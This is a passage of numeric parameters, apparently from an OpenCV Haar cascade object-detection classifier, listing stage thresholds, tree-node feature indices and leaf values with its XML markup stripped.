5.2665728330612183e-01 3.0917160212993622e-02 + <_> + + 1 0 126 2.0437680650502443e-03 -1 2 127 + -8.2394909113645554e-03 -2 -3 128 -3.9699211716651917e-02 + + -7.0948588848114014e-01 3.4189811348915100e-01 + 4.7383341193199158e-01 -2.5060850381851196e-01 + <_> + + 1 2 129 -8.0377282574772835e-04 0 -1 130 + -5.4273242130875587e-03 -2 -3 131 -5.2662738598883152e-03 + + -5.1384007930755615e-01 2.9752710461616516e-01 + 1.4577029645442963e-01 -4.6007528901100159e-01 + <_> + + 1 0 132 6.3841522205621004e-04 -1 2 133 + -1.5458120033144951e-03 -2 -3 134 1.1863360414281487e-03 + + -3.6412829160690308e-01 -5.8081609010696411e-01 + 2.9298609495162964e-01 -5.1420718431472778e-01 + <_> + 12 + -1.5415630340576172e+00 + + <_> + + 1 2 135 -2.7745011448860168e-01 0 -1 136 + -3.1200000084936619e-03 -2 -3 137 -8.0280922353267670e-02 + + 8.3265638351440430e-01 1.0233189910650253e-01 + 2.3773579299449921e-01 -6.4546662569046021e-01 + <_> + + 0 1 138 -6.9391548633575439e-02 2 -1 139 + 5.3355181589722633e-03 -2 -3 140 -5.4189618676900864e-02 + + 4.6008241176605225e-01 2.9137989878654480e-01 + 4.7026729583740234e-01 -5.7723402976989746e-01 + <_> + + 1 0 141 1.8562959507107735e-02 -1 2 142 + 4.6305730938911438e-02 -2 -3 143 -8.8262781500816345e-03 + + 7.0555502176284790e-01 -5.2839881181716919e-01 + 4.3953609466552734e-01 -1.3887490332126617e-01 + <_> + + 1 0 144 -2.8772179502993822e-03 -1 2 145 + -2.6457069907337427e-03 -2 -3 146 3.3441530540585518e-03 + + -2.7475830912590027e-01 -5.7746797800064087e-01 + 3.6615240573883057e-01 -6.3586741685867310e-01 + <_> + + 2 1 147 -8.3742372691631317e-02 0 -1 148 + 1.0164769738912582e-01 -2 -3 149 -2.1541758906096220e-03 + + -2.9664519429206848e-01 5.6140047311782837e-01 + -7.5446271896362305e-01 3.9601260423660278e-01 + <_> + + 0 1 150 -1.7133549554273486e-03 2 -1 151 + 1.3899410143494606e-02 -2 -3 152 -2.8498120605945587e-02 + + -7.3741632699966431e-01 4.8247390985488892e-01 + 4.1971048712730408e-01 -2.0021289587020874e-01 + <_> + + 0 1 153 -4.9728769809007645e-03 2 -1 154 + -3.4751880913972855e-02 -2 -3 155 -8.7171117775142193e-04 + + 3.7631350755691528e-01 -4.4797790050506592e-01 + -6.9995099306106567e-01 1.5640909969806671e-01 + <_> + + 0 1 156 -3.3666230738162994e-03 -1 2 157 + -2.1378830075263977e-02 -2 -3 158 -1.1869249865412712e-02 + + -6.7721921205520630e-01 3.3951529860496521e-01 + 5.4050672054290771e-01 -2.4071580171585083e-01 + <_> + + 0 1 159 -4.4268160127103329e-03 2 -1 160 + 4.1405398398637772e-02 -2 -3 161 -3.7884410470724106e-02 + + -7.3965507745742798e-01 8.2905638217926025e-01 + 1.7030739784240723e-01 -2.4498699605464935e-01 + <_> + + 1 0 162 3.7567419349215925e-04 -1 2 163 + -3.7140299100428820e-03 -2 -3 164 -6.1806719750165939e-03 + + -4.5103698968887329e-01 3.8348129391670227e-01 + 3.6097520589828491e-01 -2.0644439756870270e-01 + <_> + + 0 1 165 -1.2373559875413775e-03 -1 2 166 + -2.1339580416679382e-03 -2 -3 167 2.8985869139432907e-03 + + -5.8166879415512085e-01 4.1669690608978271e-01 + -2.4721260368824005e-01 3.5056841373443604e-01 + <_> + + 1 2 168 -4.4636861421167850e-03 0 -1 169 + 1.6411510296165943e-03 -2 -3 170 -7.3051019571721554e-03 + + 3.5625410079956055e-01 -4.1040098667144775e-01 + 2.0216129720211029e-01 -3.4234520792961121e-01 + <_> + 13 + -1.4762729406356812e+00 + + <_> + + 1 2 171 -5.1942609250545502e-02 0 -1 172 + -4.7268528491258621e-02 -2 -3 173 -7.8969672322273254e-03 + + 8.8198930025100708e-01 6.4829237759113312e-02 + 8.8662758469581604e-02 -5.9007811546325684e-01 + <_> + + 1 0 174 9.0199249098077416e-04 2 -1 175 + -1.7289820313453674e-01 -2 -3 176 -2.3374119773507118e-03 + + 5.9040898084640503e-01 -5.2029031515121460e-01 + 5.2981728315353394e-01 -1.4985850453376770e-01 + <_> + + 0 1 177 -1.7534950748085976e-02 -1 2 178 + 5.8875310060102493e-05 -2 -3 179 -3.2241028547286987e-01 + + 5.3269028663635254e-01 -4.5709720253944397e-01 + 5.7380169630050659e-01 -1.2866480648517609e-01 + <_> + + 1 2 180 8.3220787928439677e-05 0 -1 181 + -1.1180160072399303e-04 -2 -3 182 -1.0344980284571648e-02 + + 9.0006209909915924e-02 -5.6352388858795166e-01 + 6.3273417949676514e-01 5.0064269453287125e-02 + <_> + + 0 1 183 -9.4440882094204426e-04 2 -1 184 + -3.7474210839718580e-03 -2 -3 185 4.0574651211500168e-03 + + 4.4386640191078186e-01 -3.4999918937683105e-01 + -4.5298218727111816e-01 3.0920198559761047e-01 + <_> + + 1 2 186 5.5205920943990350e-05 0 -1 187 + -7.5678288936614990e-02 -2 -3 188 -3.0975368618965149e-01 + + 3.5544091463088989e-01 -3.6047360301017761e-01 + -6.4954018592834473e-01 3.0679279565811157e-01 + <_> + + 1 2 189 -7.9595847637392581e-05 0 -1 190 + 4.0613119490444660e-03 -2 -3 191 4.3240871280431747e-02 + + 3.3850470185279846e-01 -5.3271901607513428e-01 + -3.2592329382896423e-01 5.5076271295547485e-01 + <_> + + 0 1 192 -6.7015928216278553e-03 -1 2 193 + -1.0451120324432850e-03 -2 -3 194 8.3967261016368866e-03 + + 5.0109171867370605e-01 -5.8881980180740356e-01 + -9.5237597823143005e-02 5.6516999006271362e-01 + <_> + + 2 1 195 -6.5531006839592010e-05 0 -1 196 + 7.8218057751655579e-05 -2 -3 197 3.2988168299198151e-02 + + -4.6556711196899414e-01 5.4509781301021576e-02 + 3.5248789191246033e-01 -5.2722948789596558e-01 + <_> + + 0 1 198 -1.4161449857056141e-02 2 -1 199 + 3.1500440090894699e-02 -2 -3 200 -2.1956730633974075e-03 + + 3.6811780929565430e-01 5.2040421962738037e-01 + 1.1603529751300812e-01 -3.0985280871391296e-01 + <_> + + 0 1 201 -4.0099889039993286e-02 -1 2 202 + -3.2569639384746552e-02 -2 -3 203 -4.2014168575406075e-03 + + -4.5146378874778748e-01 -6.4392048120498657e-01 + -8.2594501972198486e-01 1.9259540736675262e-01 + <_> + + 2 1 204 2.0385689567774534e-03 0 -1 205 + -1.6212540213018656e-03 -2 -3 206 -8.6220083758234978e-03 + + -3.7723371386528015e-01 3.3918830752372742e-01 + 4.8986920714378357e-01 -2.7532070875167847e-01 + <_> + + 1 0 207 9.2185800895094872e-05 2 -1 208 + -7.1932889113668352e-05 -2 -3 209 4.4952900498174131e-04 + + 2.4223749339580536e-01 -4.2189198732376099e-01 + 2.9407840967178345e-01 -4.4028049707412720e-01 + <_> + 15 + -1.4963719844818115e+00 + + <_> + + 1 2 210 -1.9638450816273689e-02 0 -1 211 + 1.1364299803972244e-01 -2 -3 212 -1.0112149640917778e-02 + + -3.2444450259208679e-01 7.4602019786834717e-01 + 3.3333331346511841e-01 -5.6435650587081909e-01 + <_> + + 1 0 213 1.2130879797041416e-02 2 -1 214 + -1.5958850085735321e-01 -2 -3 215 -2.3524949792772532e-03 + + 7.2214919328689575e-01 -3.9274591207504272e-01 + 5.6152492761611938e-01 -1.3768480718135834e-01 + <_> + + 0 1 216 -4.1118920780718327e-03 -1 2 217 + -1.7832900583744049e-01 -2 -3 218 -7.8500732779502869e-03 + + 6.3556081056594849e-01 3.3373141288757324e-01 + 3.9536771178245544e-01 -3.3380430936813354e-01 + <_> + + 2 1 219 -4.6880490117473528e-05 0 -1 220 + 5.2934719860786572e-05 -2 -3 221 2.0851430235779844e-05 + + -6.6118270158767700e-01 -4.8232190310955048e-02 + -9.8838359117507935e-02 4.4528418779373169e-01 + <_> + + 0 1 222 -1.8425289541482925e-02 -1 2 223 + -7.6133902184665203e-03 -2 -3 224 -6.0353721491992474e-03 + + -6.5690898895263672e-01 5.3413677215576172e-01 + 3.6171048879623413e-01 -2.0478430390357971e-01 + <_> + + 2 1 225 4.3712720071198419e-05 0 -1 226 + -7.8823999501764774e-04 -2 -3 227 -4.5693209394812584e-03 + + -4.5326828956604004e-01 3.5517698526382446e-01 + 6.1721032857894897e-01 -2.9707700014114380e-01 + <_> + + 1 2 228 -3.8058571517467499e-02 0 -1 229 + -1.1797689646482468e-01 -2 -3 230 4.6841651201248169e-03 + + 3.5003998875617981e-01 -2.7257668972015381e-01 + -3.2559171319007874e-01 3.7737470865249634e-01 + <_> + + 1 2 231 -2.6372840511612594e-04 0 -1 232 + 6.2580420635640621e-03 -2 -3 233 5.6767999922158197e-05 + + 3.7421739101409912e-01 -5.8926701545715332e-01 + -4.8859021067619324e-01 -1.8623730167746544e-02 + <_> + + 1 0 234 9.2742107808589935e-03 2 -1 235 + -3.8514519110321999e-03 -2 -3 236 -5.3287498303689063e-05 + + 3.0933541059494019e-01 -3.4513729810714722e-01 + 5.2340328693389893e-01 -9.1159403324127197e-02 + <_> + + 1 0 237 9.8315975628793240e-04 2 -1 238 + 8.2858657697215676e-04 -2 -3 239 1.1229789815843105e-02 + + -5.0185352563858032e-01 -3.0529549717903137e-01 + 2.6219210028648376e-01 -4.7969821095466614e-01 + <_> + + 0 1 240 -1.0327639989554882e-02 -1 2 241 + -6.9197742268443108e-03 -2 -3 242 -5.0027170218527317e-03 + + -5.6315082311630249e-01 3.1225070357322693e-01 + 1.7820779979228973e-01 -3.0091148614883423e-01 + <_> + + 0 1 243 -1.1156810069223866e-04 -1 2 244 + 4.2464961297810078e-03 -2 -3 245 -4.7280951548600569e-05 + + 1.8883679807186127e-01 -4.0101578831672668e-01 + 4.6505901217460632e-01 -2.9863640666007996e-01 + <_> + + 0 1 246 -1.8891280051320791e-03 -1 2 247 + -5.8536308642942458e-05 -2 -3 248 2.0671950551331975e-05 + + 5.6963747739791870e-01 1.8008249998092651e-01 + -5.8659601211547852e-01 -5.4875258356332779e-03 + <_> + + 0 1 249 -1.1267509544268250e-03 2 -1 250 + 2.1378440782427788e-02 -2 -3 251 -1.2546040117740631e-02 + + -4.0261599421501160e-01 3.9230358600616455e-01 + 4.9474561214447021e-01 -1.7322529852390289e-01 + <_> + + 0 1 252 -7.2257901774719357e-04 2 -1 253 + 6.4563672058284283e-03 -2 -3 254 4.9086650833487511e-03 + + -3.0380329489707947e-01 4.7173491120338440e-01 + -1.6380549967288971e-01 3.7708491086959839e-01 + <_> + 19 + -1.5243699550628662e+00 + + <_> + + 2 1 255 -7.2617560625076294e-02 0 -1 256 + -6.9059380330145359e-03 -2 -3 257 2.1727949380874634e-01 + + 2.6602798700332642e-01 -4.9325171113014221e-01 + -1.0769230127334595e-01 8.2661122083663940e-01 + <_> + + 1 2 258 -2.0319509785622358e-03 0 -1 259 + 2.8931589797139168e-02 -2 -3 260 -4.6076569706201553e-03 + + -3.7963140755891800e-02 8.0230438709259033e-01 + 4.2468398809432983e-01 -2.9379379749298096e-01 + <_> + + 1 2 261 6.9408868439495564e-03 0 -1 262 + -5.9231962077319622e-03 -2 -3 263 5.1128160208463669e-02 + + 4.1737049818038940e-01 -2.5552588701248169e-01 + -3.8619861006736755e-01 4.7076860070228577e-01 + <_> + + 1 0 264 1.5201330184936523e-02 -1 2 265 + -1.8096340820193291e-02 -2 -3 266 7.9378951340913773e-05 + + 5.4354798793792725e-01 2.6651141047477722e-01 + -4.3927749991416931e-01 2.5831260718405247e-03 + <_> + + 0 1 267 -5.3462558425962925e-03 -1 2 268 + -6.9701080210506916e-03 -2 -3 269 8.4738981968257576e-05 + + -6.6308969259262085e-01 -7.0310682058334351e-01 + -1.7880809307098389e-01 2.5993299484252930e-01 + <_> + + 0 1 270 -2.8513800352811813e-03 2 -1 271 + 2.2954840678721666e-03 -2 -3 272 -3.5036220215260983e-03 + + 4.5053678750991821e-01 3.0560511350631714e-01 + 1.5040870010852814e-01 -3.3283078670501709e-01 + <_> + + 1 2 273 -6.9570228457450867e-02 0 -1 274 + 5.9261121350573376e-05 -2 -3 275 -5.9058349579572678e-02 + + -3.6899719387292862e-02 4.0927308797836304e-01 + 1.3826370239257812e-01 -3.8214409351348877e-01 + <_> + + 0 1 276 -8.9645627886056900e-03 -1 2 277 + 4.9211819714400917e-05 -2 -3 278 9.9640293046832085e-03 + + -5.8134728670120239e-01 -1.8481740355491638e-01 + 8.7685473263263702e-02 5.8509802818298340e-01 + <_> + + 0 1 279 -1.9302699714899063e-02 -1 2 280 + -4.3869198998436332e-04 -2 -3 281 6.5669846662785858e-05 + + 5.3263461589813232e-01 2.8891131281852722e-01 + -3.3493599295616150e-01 5.9566751122474670e-02 + <_> + + 0 1 282 -2.0224519073963165e-02 -1 2 283 + 8.7082196841947734e-05 -2 -3 284 -1.6202719882130623e-02 + + -6.5536081790924072e-01 -1.2211789935827255e-01 + -4.7076839208602905e-01 3.0990770459175110e-01 + <_> + + 1 0 285 4.4353529810905457e-03 -1 2 286 + -9.0544822160154581e-04 -2 -3 287 -1.4297979651018977e-03 + + -5.4039931297302246e-01 4.2878800630569458e-01 + 2.2322739660739899e-01 -1.8194420635700226e-01 + <_> + + 1 2 288 3.2359519973397255e-03 0 -1 289 + 1.0716189717641100e-04 -2 -3 290 -5.8802281273528934e-04 + + -2.9218220710754395e-01 1.3910460472106934e-01 + -4.6926081180572510e-01 3.8085499405860901e-01 + <_> + + 0 1 291 -9.0546347200870514e-03 -1 2 292 + -8.6048766970634460e-03 -2 -3 293 -1.2719300575554371e-03 + + -5.0426542758941650e-01 -2.7559030055999756e-01 + 3.6022108793258667e-01 -2.6484970003366470e-02 + <_> + + 0 1 294 -3.9098240085877478e-04 -1 2 295 + -3.6405251012183726e-04 -2 -3 296 -6.6685711499303579e-04 + + 2.6651731133460999e-01 1.4721649885177612e-01 + -4.9719738960266113e-01 -6.1579849570989609e-02 + <_> + + 0 1 297 -2.4845570325851440e-02 -1 2 298 + -1.5436399728059769e-02 -2 -3 299 -5.6572312116622925e-01 + + -7.0820981264114380e-01 -4.7206890583038330e-01 + 6.3965231180191040e-01 5.2069328725337982e-02 + <_> + + 0 1 300 -5.7480141520500183e-02 -1 2 301 + -1.4613820239901543e-02 -2 -3 302 -3.3993738889694214e-01 + + 2.9297390580177307e-01 6.0129672288894653e-01 + 1.9041299819946289e-02 -3.3254599571228027e-01 + <_> + + 2 1 303 -3.1427140347659588e-03 0 -1 304 + 2.1966299973428249e-03 -2 -3 305 -2.4858590215444565e-02 + + -2.2972729802131653e-01 2.2367340326309204e-01 + -5.6212967634201050e-01 3.9542859792709351e-01 + <_> + + 0 1 306 -1.6135630430653691e-03 2 -1 307 + 1.1416019697207958e-04 -2 -3 308 1.3170539750717580e-04 + + -4.8256790637969971e-01 2.6877319812774658e-01 + -3.9078921079635620e-01 1.7153440415859222e-01 + <_> + + 0 1 309 -8.5256207967177033e-05 -1 2 310 + 6.4925159676931798e-05 -2 -3 311 -1.2689639814198017e-02 + + 2.1754570305347443e-01 -4.7468620538711548e-01 + -6.6538578271865845e-01 1.2347090244293213e-01 + <_> + 27 + -1.3592849969863892e+00 + + <_> + + 2 1 312 -2.9844639822840691e-02 0 -1 313 + -4.5487660169601440e-01 -2 -3 314 2.7445149607956409e-03 + + 3.9222040772438049e-01 -3.9314880967140198e-01 + -1.5923570096492767e-01 8.2696700096130371e-01 + <_> + + 2 1 315 -1.0584670118987560e-02 0 -1 316 + -1.6308380290865898e-02 -2 -3 317 -4.8787441104650497e-02 + + 4.5954689383506775e-01 -2.1620120108127594e-01 + 7.5103652477264404e-01 7.4557967483997345e-02 + <_> + + 1 0 318 -2.9621229041367769e-03 2 -1 319 + 1.7300529405474663e-02 -2 -3 320 -1.6731169074773788e-02 + + -2.4452270567417145e-01 -3.3090409636497498e-01 + 5.3751850128173828e-01 2.9153820127248764e-02 + <_> + + 1 0 321 1.2326180003583431e-02 -1 2 322 + 5.4928299039602280e-02 -2 -3 323 2.7763319667428732e-03 + + -5.4824811220169067e-01 -2.1952770650386810e-01 + 3.6463689059019089e-02 5.0633782148361206e-01 + <_> + + 0 1 324 -4.5116998255252838e-02 2 -1 325 + 1.1207940056920052e-02 -2 -3 326 -5.7006389833986759e-03 + + 4.2339310050010681e-01 3.9984008669853210e-01 + -5.9729182720184326e-01 -9.8557651042938232e-02 + <_> + + 1 2 327 -5.3951311856508255e-03 0 -1 328 + 7.8587066382169724e-03 -2 -3 329 1.0666639544069767e-02 + + 3.4734690189361572e-01 -4.7281920909881592e-01 + -2.3315669596195221e-01 2.4360010027885437e-01 + <_> + + 2 1 330 2.8001810424029827e-03 0 -1 331 + -7.9198479652404785e-03 -2 -3 332 -2.3832279257476330e-03 + + -4.8354551196098328e-01 1.8321120738983154e-01 + 3.2168481498956680e-02 -5.0476258993148804e-01 + <_> + + 0 1 333 -9.7674019634723663e-03 -1 2 334 + -1.3897259719669819e-02 -2 -3 335 -6.4803068526089191e-03 + + -7.4415212869644165e-01 4.5425128936767578e-01 + 4.8292869329452515e-01 -1.0258570313453674e-01 + <_> + + 1 0 336 9.4482619315385818e-03 -1 2 337 + -7.0351187605410814e-04 -2 -3 338 -4.2770579457283020e-03 + + -5.3326022624969482e-01 2.9435831308364868e-01 + 1.5501999855041504e-01 -3.0867969989776611e-01 + <_> + + 1 0 339 5.8752358891069889e-03 2 -1 340 + 9.5629561692476273e-03 -2 -3 341 -6.8425266363192350e-05 + + -6.0491317510604858e-01 4.4039881229400635e-01 + 1.0206270217895508e-01 -2.5624030828475952e-01 + <_> + + 1 0 342 5.4002371616661549e-03 2 -1 343 + 2.9745819047093391e-03 -2 -3 344 -2.5536341127008200e-03 + + 4.5371580123901367e-01 -6.0967987775802612e-01 + 2.2111609578132629e-01 -1.2801170349121094e-01 + <_> + + 0 1 345 4.0425839833915234e-03 2 -1 346 + 7.6407291926443577e-03 -2 -3 347 -1.0939979692921042e-03 + + -1.9264020025730133e-01 6.1178821325302124e-01 + -3.7973681092262268e-01 1.6438940167427063e-01 + <_> + + 1 2 348 -1.1377089685993269e-04 0 -1 349 + 5.2979402244091034e-03 -2 -3 350 2.9510098975151777e-03 + + -2.7770480141043663e-02 4.3019628524780273e-01 + -3.7912338972091675e-01 1.0130850225687027e-01 + <_> + + 1 0 351 6.3235480338335037e-03 -1 2 352 + 3.9955950342118740e-03 -2 -3 353 -5.3595582721754909e-04 + + 4.0413460135459900e-01 -1.5097740292549133e-01 + 5.9522801637649536e-01 -3.4380171447992325e-02 + <_> + + 1 0 354 3.6193430423736572e-03 2 -1 355 + 3.4626820124685764e-03 -2 -3 356 2.9030859470367432e-02 + + -7.4454522132873535e-01 2.8504610061645508e-01 + -1.8565440177917480e-01 1.5829989314079285e-01 + <_> + + 1 0 357 6.0747697716578841e-04 2 -1 358 + 9.4140451401472092e-03 -2 -3 359 -2.2230610251426697e-02 + + -3.3788970112800598e-01 -3.6750578880310059e-01 + -6.4205718040466309e-01 1.7526410520076752e-01 + <_> + + 2 1 360 -4.6881791204214096e-03 0 -1 361 + -3.9184167981147766e-03 -2 -3 362 -6.3269808888435364e-03 + + 1.6476869583129883e-01 -2.2729560732841492e-01 + 5.7388627529144287e-01 5.7931281626224518e-02 + <_> + + 0 1 363 -3.7428940413519740e-04 2 -1 364 + 2.8672320768237114e-03 -2 -3 365 2.4337199283763766e-04 + + -3.5288140177726746e-01 -4.1419389843940735e-01 + 2.0027640461921692e-01 -2.8263148665428162e-01 + <_> + + 0 1 366 -9.1555183753371239e-03 -1 2 367 + -1.2892490485683084e-03 -2 -3 368 -1.6453899443149567e-03 + + -5.4508739709854126e-01 2.5321239233016968e-01 + 1.7635670304298401e-01 -2.3053619265556335e-01 + <_> + + 0 1 369 -7.6485536992549896e-02 2 -1 370 + 3.8297360879369080e-04 -2 -3 371 -2.6448920834809542e-04 + + -7.0480287075042725e-01 2.2375050187110901e-01 + 1.4251540601253510e-01 -2.4608950316905975e-01 + <_> + + 0 1 372 -7.9496540129184723e-03 -1 2 373 + -7.7398279681801796e-03 -2 -3 374 -1.0467980057001114e-02 + + -4.2123699188232422e-01 -4.6475729346275330e-01 + -4.7312980890274048e-01 1.3598929345607758e-01 + <_> + + 1 0 375 9.4248689711093903e-03 2 -1 376 + -3.7210211157798767e-03 -2 -3 377 -1.6539100557565689e-02 + + 3.5587531328201294e-01 -1.5899239480495453e-01 + -6.1142671108245850e-01 3.3778318762779236e-01 + <_> + + 1 0 378 1.8258139491081238e-02 -1 2 379 + -6.1498139984905720e-03 -2 -3 380 1.4396630227565765e-02 + + -7.0120972394943237e-01 3.8414189219474792e-01 + 2.2873559966683388e-02 -4.8029011487960815e-01 + <_> + + 1 0 381 -4.8927508294582367e-02 -1 2 382 + -4.9874751130118966e-04 -2 -3 383 -1.2338399887084961e-02 + + -1.2219530344009399e-01 4.4899681210517883e-01 + 5.8306622505187988e-01 -1.5592460334300995e-01 + <_> + + 1 0 384 4.9237860366702080e-03 -1 2 385 + 6.4515617850702256e-05 -2 -3 386 -9.0754460543394089e-03 + + 5.7889437675476074e-01 -2.2252050042152405e-01 + 2.5118181109428406e-01 -1.1915980279445648e-01 + <_> + + 0 1 387 -2.2913129068911076e-03 2 -1 388 + -1.1618229560554028e-02 -2 -3 389 -2.6231290772557259e-02 + + 2.0203049480915070e-01 -2.4990449845790863e-01 + -7.2858989238739014e-01 2.2483369708061218e-01 + <_> + + 1 0 390 2.1525719785131514e-04 2 -1 391 + 5.4147760383784771e-03 -2 -3 392 -6.8281739950180054e-03 + + -3.0237621068954468e-01 -3.4467801451683044e-01 + -5.1470118761062622e-01 1.8762029707431793e-01 + <_> + 29 + -1.3664239645004272e+00 + + <_> + + 1 2 393 8.8577903807163239e-03 0 -1 394 + 2.2660400718450546e-03 -2 -3 395 1.5509200282394886e-02 + + -3.6197811365127563e-01 3.4535628557205200e-01 + -2.2814500331878662e-01 8.0521601438522339e-01 + <_> + + 1 2 396 1.9730629399418831e-02 0 -1 397 + -5.2804131060838699e-02 -2 -3 398 -3.4123551100492477e-02 + + 2.2162230312824249e-01 -2.6307260990142822e-01 + 8.7687742710113525e-01 1.5147949755191803e-01 + <_> + + 0 1 399 -4.4995918869972229e-03 -1 2 400 + -3.8060150109231472e-03 -2 -3 401 -6.5935899328906089e-05 + + -5.1520478725433350e-01 3.1563198566436768e-01 + 1.1052650213241577e-01 -3.0016160011291504e-01 + <_> + + 1 0 402 9.5838904380798340e-03 2 -1 403 + 4.2877299711108208e-03 -2 -3 404 3.2141651026904583e-03 + + 5.2808177471160889e-01 -6.3694041967391968e-01 + 3.5910170525312424e-02 -5.4334390163421631e-01 + <_> + + 0 1 405 -7.9250690760090947e-04 2 -1 406 + -1.5514569822698832e-03 -2 -3 407 -1.7790550366044044e-02 + + -4.7867339849472046e-01 -9.1462276875972748e-02 + 4.5612779259681702e-01 1.0628259740769863e-02 + <_> + + 2 1 408 -2.5881261099129915e-03 0 -1 409 + -2.7412150520831347e-03 -2 -3 410 4.4753181282430887e-04 + + 1.6198949515819550e-01 -2.9113239049911499e-01 + -2.8482219576835632e-01 3.3902090787887573e-01 + <_> + + 0 1 411 -3.6593680270016193e-03 2 -1 412 + 2.4432500358670950e-03 -2 -3 413 -1.3546410016715527e-02 + + -5.1089602708816528e-01 -3.2154849171638489e-01 + 2.7356979250907898e-01 -1.2062689661979675e-01 + <_> + + 1 0 414 1.1241570115089417e-01 -1 2 415 + -4.5845299027860165e-03 -2 -3 416 6.3416222110390663e-03 + + 3.6505278944969177e-01 4.4773998856544495e-01 + -9.7543753683567047e-02 -6.1698240041732788e-01 + <_> + + 2 1 417 -9.1398190706968307e-03 0 -1 418 + -8.2371473312377930e-02 -2 -3 419 3.1728888861835003e-03 + + 6.1478227376937866e-01 -1.7612460255622864e-01 + 2.7462399005889893e-01 -5.3833961486816406e-01 + <_> + + 2 1 420 8.2914117956534028e-04 0 -1 421 + -1.7079230397939682e-02 -2 -3 422 -4.8665981739759445e-03 + + -4.3669781088829041e-01 1.7935889959335327e-01 + -6.2017709016799927e-02 -5.9141248464584351e-01 + <_> + + 0 1 423 -3.3614661078900099e-03 -1 2 424 + -4.4482201337814331e-02 -2 -3 425 -1.8765870481729507e-03 + + -4.3437281250953674e-01 -6.8157917261123657e-01 + -6.8667972087860107e-01 1.1657930165529251e-01 + <_> + + 1 0 426 2.3192320019006729e-02 -1 2 427 + -4.5041430741548538e-02 -2 -3 428 2.3778830654919147e-03 + + 4.0776708722114563e-01 3.7137511372566223e-01 + -7.1181386709213257e-02 -5.3898727893829346e-01 + <_> + + 1 2 429 -1.3468379620462656e-03 0 -1 430 + 4.3169260025024414e-03 -2 -3 431 4.5682261697947979e-03 + + 2.3184180259704590e-01 -3.8448938727378845e-01 + -2.4857190251350403e-01 1.2519669532775879e-01 + <_> + + 1 0 432 1.1057799682021141e-02 -1 2 433 + -6.6700251772999763e-04 -2 -3 434 4.8536141548538581e-05 + + -3.8228470087051392e-01 -2.7387779951095581e-01 + -2.9664589092135429e-02 2.8385889530181885e-01 + <_> + + 2 1 435 -3.9972390979528427e-02 0 -1 436 + -1.6880780458450317e-02 -2 -3 437 -5.6082051247358322e-02 + + 6.3570600748062134e-01 -1.9189420342445374e-01 + -9.0092360973358154e-01 1.9145509600639343e-01 + <_> + + 1 0 438 3.4141261130571365e-03 2 -1 439 + 9.1075859963893890e-03 -2 -3 440 -1.3897320022806525e-03 + + 4.2132571339607239e-01 5.5071562528610229e-01 + -5.0447541475296021e-01 -4.0802270174026489e-02 + <_> + + 2 1 441 1.7231719568371773e-02 0 -1 442 + -2.0052720792591572e-03 -2 -3 443 3.5111181205138564e-04 + + -3.1567269563674927e-01 5.5168247222900391e-01 + 5.6736338883638382e-02 -2.6553949713706970e-01 + <_> + + 0 1 444 -2.0616729743778706e-03 -1 2 445 + -1.0434100404381752e-03 -2 -3 446 2.0041360985487700e-03 + + -4.9637660384178162e-01 2.5625479221343994e-01 + -2.3637770116329193e-01 1.2562820315361023e-01 + <_> + + 0 1 447 -4.6680038794875145e-03 2 -1 448 + 1.0352090001106262e-02 -2 -3 449 2.9808359686285257e-03 + + -5.1331508159637451e-01 3.5214298963546753e-01 + -1.6628879308700562e-01 1.6649410128593445e-01 + <_> + + 1 0 450 1.0835190303623676e-02 -1 2 451 + -3.8211939390748739e-03 -2 -3 452 -3.4161040093749762e-03 + + -3.8929209113121033e-01 3.5466459393501282e-01 + -4.5814520120620728e-01 4.5853018760681152e-02 + <_> + + 2 1 453 -5.8807642199099064e-03 0 -1 454 + -3.4913890063762665e-02 -2 -3 455 4.8959217965602875e-03 + + 1.0240379720926285e-01 -2.5945249199867249e-01 + 2.6778548955917358e-01 -4.8959800601005554e-01 + <_> + + 1 0 456 5.8120768517255783e-03 -1 2 457 + 3.5575949586927891e-03 -2 -3 458 2.5241500698029995e-03 + + 3.0377060174942017e-01 -1.8064819276332855e-01 + 4.1480910778045654e-01 -1.9794499874114990e-01 + <_> + + 1 0 459 1.5492970123887062e-02 2 -1 460 + 2.3261269961949438e-04 -2 -3 461 -2.1607619710266590e-03 + + 4.7802209854125977e-01 -3.0891039967536926e-01 + -4.0223160386085510e-01 1.1098849773406982e-01 + <_> + + 1 0 462 3.5326189827173948e-03 -1 2 463 + -3.3474999945610762e-03 -2 -3 464 2.9168210923671722e-02 + + 2.2489060461521149e-01 1.6631869971752167e-01 + -7.4026778340339661e-02 -4.5744699239730835e-01 + <_> + + 0 1 465 -1.6242500394582748e-02 -1 2 466 + -7.5024510733783245e-03 -2 -3 467 1.7816389445215464e-03 + + -4.3497189879417419e-01 1.6646090149879456e-01 + -3.9155849814414978e-01 8.0571353435516357e-02 + <_> + + 2 1 468 -7.2545823059044778e-05 0 -1 469 + 6.1626458773389459e-05 -2 -3 470 -4.3781189015135169e-04 + + -4.1679731011390686e-01 6.0808397829532623e-03 + 3.1920549273490906e-01 -7.7506266534328461e-02 + <_> + + 1 2 471 -3.0576970311813056e-04 0 -1 472 + -1.3107899576425552e-02 -2 -3 473 -7.4203108670189977e-04 + + -3.6462840437889099e-01 2.2391660511493683e-01 + 6.8343617022037506e-02 -2.9597601294517517e-01 + <_> + + 0 1 474 -7.7575328759849072e-03 2 -1 475 + 3.0043099541217089e-03 -2 -3 476 -5.8561760932207108e-02 + + 4.5748728513717651e-01 1.8059000372886658e-01 + 2.6555559039115906e-01 -2.0381399989128113e-01 + <_> + + 0 1 477 -2.5295289233326912e-02 -1 2 478 + -4.9810659140348434e-02 -2 -3 479 -2.4564980994910002e-03 + + -5.8704811334609985e-01 -8.4442830085754395e-01 + 4.4017440080642700e-01 3.7946549709886312e-03 + <_> + 25 + -1.3621879816055298e+00 + + <_> + + 2 1 480 -2.3795999586582184e-02 0 -1 481 + -4.2916718870401382e-02 -2 -3 482 -9.9466904066503048e-04 + + 2.1881549619138241e-03 -4.9640420079231262e-01 + 8.3718097209930420e-01 -3.0279759317636490e-02 + <_> + + 0 1 483 1.3895650394260883e-02 2 -1 484 + -2.2832138929516077e-03 -2 -3 485 -4.8447579145431519e-01 + + -3.9495769143104553e-01 -3.8689300417900085e-02 + 8.3933347463607788e-01 2.3111909627914429e-01 + <_> + + 0 1 486 -7.3761418461799622e-03 2 -1 487 + 3.3793840557336807e-03 -2 -3 488 -3.3415269106626511e-02 + + 2.3094999790191650e-01 9.1608531773090363e-02 + 1.1462929844856262e-01 -5.4809182882308960e-01 + <_> + + 0 1 489 -7.6022851280868053e-03 2 -1 490 + 7.6229616999626160e-02 -2 -3 491 -3.7729479372501373e-03 + + -5.7959568500518799e-01 3.4666779637336731e-01 + 1.1899670213460922e-01 -2.7983540296554565e-01 + <_> + + 2 1 